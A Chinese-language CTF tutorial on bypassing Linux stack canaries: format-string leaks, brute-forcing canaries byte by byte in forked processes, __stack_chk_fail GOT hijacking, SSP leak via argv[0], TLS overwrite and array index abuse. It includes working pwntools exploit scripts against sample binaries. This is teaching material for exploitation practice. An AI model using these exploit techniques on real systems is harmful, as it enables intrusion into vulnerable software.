仅供个人学习参考

canary保护

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。

1

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配

leak canary

利用格式化字符串leak

我们知道canary的值位于栈上,距离bp若干个偏移的位置,若程序中存在格式化字符串漏洞,且知晓偏移,我们就可以读出canary的值,绕过该保护

附件:https://raw.githubusercontent.com/GNchen1/Pages/main/Img/binary_200

a

a
可以看到存在栈溢出,且有格式化字符串漏洞,且有后门函数
通过汇编我们可以得知canary的地址在esp+3Ch处
a

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
io=process("./binary_200")

payload='%15$x'
io.sendline(payload)

canary=int(io.recv(),16)
success("canary:"+hex(canary))

shell=0x0804854D
payload=b'a'*40+p32(canary)+b'a'*12+p32(shell)
io.sendline(payload)

io.interactive()

覆盖截断字符获取Canary

canary以\x00结尾,本意是阻止read,write等函数将其读出,倘若程序中存在栈溢出漏洞,我们可以试着覆盖\x00,从而读出canary

在出现类似以下漏洞时可以试着利用

1
2
read(0, buf, 0x200);
printf(buf);

爆破canary

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。

下面是爆破canary的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'
context(arch='i386',os='linux')
local=1
elf=ELF("./filename")

if local:
io=process("./filename")
#libc=elf.libc

else:
io=remote("",)
#libc=ELF("./")

io.recvuntil("")
canary=b'\x00'
for k in range(3):
for i in range(256):
print("正在爆破canary的第"+str(k+1)+"位")
print("当前的字符为:"+chr(i))
payload=b'a'*100+canary+i.to_bytes(1,'little') #将canary转为bytes类型,避免后面的payload出现TypeError
print("当前payload为:"+str(payload))
io.send(b'a'*100+canary+i.to_bytes(1,'little'))
data=io.recvuntil("welcome\n")
print(data)
if b"success" in data:
canary+=i.to_bytes(1,'little')
print("canary is: "+canary)
break

例题:https://raw.githubusercontent.com/GNchen1/Pages/main/Img/bin1 纯粹爆破题

1

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level='debug'
context(arch='i386',os='linux')
local=1
elf=ELF("./bin1")

if local:
io=process("./bin1")
#libc=elf.libc

else:
io=remote("",)
#libc=ELF("./")

io.recvuntil("welcome\n")
canary=b'\x00'
for k in range(3):
for i in range(256):
print("正在爆破canary的第"+str(k+1)+"位")
print("当前的字符为:"+chr(i))
payload=b'a'*100+canary+i.to_bytes(1,'little')
print("当前payload为:"+str(payload))
io.send(b'a'*100+canary+i.to_bytes(1,'little'))
data=io.recvuntil("welcome\n")
print(data)
if b"success" in data:
canary+=i.to_bytes(1,'little')
print("canary is: "+canary)
break
getflag_addr=0x0804863B
payload=b'a'*100+canary+b'a'*12+p32(getflag_addr)
io.send(payload)
io.interactive()

劫持__stack_chk_fail函数

还是这张图,我们可以看到若canary不对则会执行_stack_chk_fail函数,我们也可以修改_stack_chk_fail的got表,当程序执行_stack_chk_fail函数时实际上执行了后门函数(如果got表可修改且有后门函数的话)
1

需要利用格式化字符串漏洞

SSP leak

SSP(Stack Smashing Protect) Leak,故意触发canary保护,并且修改输出的变量argv[0]的内容来实现任意地址读

执行完_stack_chk_fail函数,程序退出,屏幕上留下一行

*** stack smashing detected ***:[XXX] terminated

[xxx]是程序的名字,那么一定是由 call __stack_chk_fail 函数输出的,而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。那么,我们什么时候输入过程序名呢?char *argv[] 是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。想明白这个过程,那就很容易理解这个攻击方式了,既然输出的内容是一个外部变量,如果我们利用栈溢出覆盖argv[0]的指针为我们想要输出的字符串的地址,那么就实现了任意地址读取攻击。这里贴上 call __stack_chk_fail 函数的源代码,以助于更好理解这个攻击方式:

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

如果程序可供输入的数据大小足够大,那我们只需要无脑填入足够大数量的目标地址就行(总有一个会覆盖到argv[0])

那么究竟填几个才能刚好覆盖到argv[0]呢
这就需要计算栈顶到指向argv[0]的指针的距离
在gdb中用argv可以看到指向argv[0]的地址,如图为0x7fffffffdfb8
1

TSL(线程局部存储)攻击

线程局部存储(TLS),是一种变量的存储方法,每一个线程都会有一个副本,这个变量在它所在的线程内是全局可访问的,但是不能被其他线程访问到,这样就保持了数据的线程独立性。而熟知的全局变量,是所有线程都可以访问的,这样就不可避免需要锁来控制,增加了控制成本和代码复杂度。

创建线程的时候会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方

主线程中的TLS通常位于mmap映射出来的地址空间里,而位置也比较随机,覆盖的可能性不大;子线程通常也是mmap出来的,子线程中的TLS则位于线程栈的顶部

tcbhead_t结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary,0x28偏移 */
uintptr_t pointer_guard;
……
} tcbhead_t;

如果可以溢出的数据够大,可以尝试去修改canary的值

利用数组下标越界绕过canary

c语言对于数组不做边界检查,我们可以利用此漏洞直接往后续某个内存地址写入目标地址,直白点就是可以直接修改retaddr的内容

利用条件:可以对数组第i个元素进行写入操作,i为我们自由设定

1
2
scanf("%d",&i);
scanf("%d",&arry[i]);